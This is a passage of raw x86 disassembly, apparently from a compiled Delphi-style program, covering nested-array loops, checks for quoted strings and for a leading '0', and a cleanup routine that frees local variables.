mov edx, dword [ecx + edx*4 + 0x100]
mov ecx, dword [ebp - 0x58]
mov edx, dword [edx + ecx*4 - 4]
mov edx, dword [edx + eax*4 - 4]
lea eax, [ebp - 0x98]
call fcn.00405070
jmp 0x5532e4
lea eax, [ebp - 0x98]
call fcn.00404fd8
jmp 0x5532e4
lea eax, [ebp - 0x98]
call fcn.00404fd8
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x98]
call fcn.00405580
jmp 0x55347a
inc dword [ebp - 0x54]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x48]
call fcn.004063e0
cmp eax, dword [ebp - 0x54]
jg 0x553168
jmp 0x55347a
lea eax, [ebp - 0x1014]
mov edx, dword [0x5904ec]
mov ecx, dword [ebp - 0x50]
mov edx, dword [edx + ecx*4]
mov edx, dword [edx + 0x48]
mov ecx, dword [ebp - 0x54]
mov ebx, ecx
shl ecx, 6
add ecx, ebx
lea edx, [edx + ecx*4]
call fcn.0040523c
mov eax, dword [ebp - 0x1014]
mov edx, dword [ebp - 0x1c]
call fcn.004053e4
jne 0x55345b
cmp dword [ebp - 0x98], 0
jne 0x553404
mov eax, dword [0x5904ec]
mov edx, dword [ebp - 0x50]
mov eax, dword [eax + edx*4]
mov eax, dword [eax + 0x48]
mov edx, dword [ebp - 0x54]
mov ecx, edx
shl edx, 6
add edx, ecx
mov eax, dword [eax + edx*4 + 0x100]
mov edx, dword [ebp - 0x58]
mov eax, dword [eax + edx*4 - 4]
call fcn.004063e0
test eax, eax
jle 0x553445
mov dword [ebp - 0x2a0], eax
mov dword [ebp - 0x14], 1
cmp dword [ebp - 0x98], 0
je 0x5533be
lea eax, [ebp - 0x98]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x1048b8]
call fcn.004052a0
lea eax, [ebp - 0x98]
mov edx, dword [0x5904ec]
mov ecx, dword [ebp - 0x50]
mov edx, dword [edx + ecx*4]
mov edx, dword [edx + 0x48]
mov ecx, dword [ebp - 0x54]
mov ebx, ecx
shl ecx, 6
add ecx, ebx
mov edx, dword [edx + ecx*4 + 0x100]
mov ecx, dword [ebp - 0x58]
mov edx, dword [edx + ecx*4 - 4]
mov ecx, dword [ebp - 0x14]
mov edx, dword [edx + ecx*4 - 4]
call fcn.004052a0
inc dword [ebp - 0x14]
dec dword [ebp - 0x2a0]
jne 0x5533a1
jmp 0x553445
mov eax, dword [ebp - 0x98]
call fcn.0040b6e8
mov edx, dword [0x5904ec]
mov ecx, dword [ebp - 0x50]
mov edx, dword [edx + ecx*4]
mov edx, dword [edx + 0x48]
mov ecx, dword [ebp - 0x54]
mov ebx, ecx
shl ecx, 6
add ecx, ebx
mov edx, dword [edx + ecx*4 + 0x100]
mov ecx, dword [ebp - 0x58]
mov edx, dword [edx + ecx*4 - 4]
mov edx, dword [edx + eax*4 - 4]
lea eax, [ebp - 0x98]
call fcn.00405070
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x98]
call fcn.00405580
jmp 0x55347a
inc dword [ebp - 0x54]
mov eax, dword [0x5904ec]
mov edx, dword [ebp - 0x50]
mov eax, dword [eax + edx*4]
mov eax, dword [eax + 0x48]
call fcn.004063e0
cmp eax, dword [ebp - 0x54]
jg 0x553319
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0
jg 0x552d60
cmp dword [ebp - 0x34], 0
jne 0x55349d
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x48]
call fcn.0040b05c
jmp 0x553567
mov eax, dword [ebp - 0x48]
call fcn.00405298
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 1
jle 0x5534ff
mov eax, dword [ebp - 0x48]
cmp byte [eax], 0x22
jne 0x5534ff
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x14]
cmp byte [eax + edx - 1], 0x22
jne 0x5534ff
lea eax, [ebp - 0xa8]
push eax
mov ecx, dword [ebp - 0x14]
sub ecx, 2
mov edx, 2
mov eax, dword [ebp - 0x48]
call fcn.004054f8
mov edx, dword [ebp - 0xa8]
mov eax, 0x5537e4
call fcn.004055dc
test eax, eax
jne 0x5534ff
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0xa8]
call fcn.00405070
cmp dword [ebp - 0x34], 0
jle 0x55355c
mov eax, dword [ebp - 0x48]
call fcn.00405298
dec eax
jle 0x55355c
mov eax, dword [ebp - 0x48]
cmp byte [eax], 0x30
jne 0x55355c
lea eax, [ebp - 0x101c]
mov edx, dword [ebp - 0x48]
mov dl, byte [edx + 1]
call fcn.004051c0
mov eax, dword [ebp - 0x101c]
lea edx, [ebp - 0x1018]
call fcn.0040af24
mov eax, dword [ebp - 0x1018]
mov edx, 0x553c50
call fcn.004053e4
je 0x55355c
lea eax, [ebp - 0x48]
mov ecx, dword [ebp - 0x48]
mov edx, 0x553aa0
call fcn.004052e4
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x48]
call fcn.0040502c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x553691
lea eax, [ebp - 0x101c]
mov edx, 0x2e
call fcn.00404ffc
lea eax, [ebp - 0xf5c]
mov edx, 0x2e
call fcn.00404ffc
lea eax, [ebp - 0xea4]
call fcn.00404fd8
lea eax, [ebp - 0xea0]
mov edx, 6
call fcn.00404ffc
lea eax, [ebp - 0xe84]
call fcn.00404fd8
lea eax, [ebp - 0xe88]
call fcn.00404fd8
lea eax, [ebp - 0xe80]
mov edx, 0x33
call fcn.00404ffc
lea eax, [ebp - 0xdb0]
mov edx, 0x30
call fcn.00404ffc
lea eax, [ebp - 0xcf0]
mov edx, 0x28
call fcn.00404ffc
lea eax, [ebp - 0xc44]
mov edx, 0x3c
call fcn.00404ffc
lea eax, [ebp - 0xb54]
mov edx, 0x62
call fcn.00404ffc
lea eax, [ebp - 0x30]
call fcn.00404fd8
lea eax, [ebp - 4]
mov edx, dword [0x53e0dc]
call fcn.004065a8
lea eax, [ebp - 0x1e8]
call fcn.00404fd8
lea eax, [ebp - 0x194]
call fcn.00404fd8
lea eax, [ebp - 0x178]
mov edx, 0xe
call fcn.00404ffc
lea eax, [ebp - 0xb8]
mov edx, 5
call fcn.00404ffc
lea eax, [ebp - 0x98]
call fcn.00404fd8
lea eax, [ebp - 0x4c]
mov edx, 2
call fcn.00404ffc
lea eax, [ebp - 0x24]
mov edx, 3
call fcn.00404ffc
ret